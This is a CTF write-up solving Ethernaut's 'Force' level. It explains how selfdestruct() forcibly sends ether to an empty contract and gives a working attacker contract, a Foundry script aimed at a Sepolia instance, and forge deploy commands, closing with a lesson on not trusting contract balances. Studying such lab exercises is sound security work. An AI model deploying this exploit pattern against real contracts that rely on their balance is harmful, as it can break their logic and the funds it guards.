The Ethernaut CTF Solutions | 07 - Force
Ether Against Its Will: Leveraging `selfdestruct()` to Force Transfers
Table of contents
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {
/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ΓΈ= /
(______)__m_m)
*/
}
Not so many functions, right?
The hack
In this Ethernaut level, the given contract is completely empty. So how can we send any ether to it? The trick is to use the (soon to be deprecated with Dencun update) selfdestruct()
, which is one way to force send ether to a contract.
When self-destructing itself, the contract must send any remaining ether to another address. This is how we can easily solve this level. We simply need to deploy a contract that self-destructs and sends its ether to the vulnerable contract.
Solution
Write and deploy a contract that takes the address of the vulnerable contract and calls's selfdestruct()
on itself, forwarding its ether balance to the target.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Kamikaze {
constructor(address payable _target) payable {
require(msg.value > 0, "Kamikaze need some ETH to attack");
selfdestruct(_target);
}
}
Here is the quick deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {Kamikaze} from "../src/07_Force.sol";
contract PoC is Script {
// Replace with your Force instance
address payable immutable force =
payable(0xD0350fE26d963C9B0974Cab2b5a55D72B02566a3);
function run() external payable {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
new Kamikaze{value: 1 wei}(force);
vm.stopBroadcast();
}
}
Then run the script with the following command:
forge script script/07_Force.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
Or to deploy it with forge
directly (you can also use Remix):
forge create Kamikaze --private-key $PRIVATE_KEY --rpc-url sepolia --value 0.00001ether
π Level completed! π
Takeaway
selfdestruct()
is a way to force send ether to a contract.Never rely on a contract's balance to implement sensitive logic.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/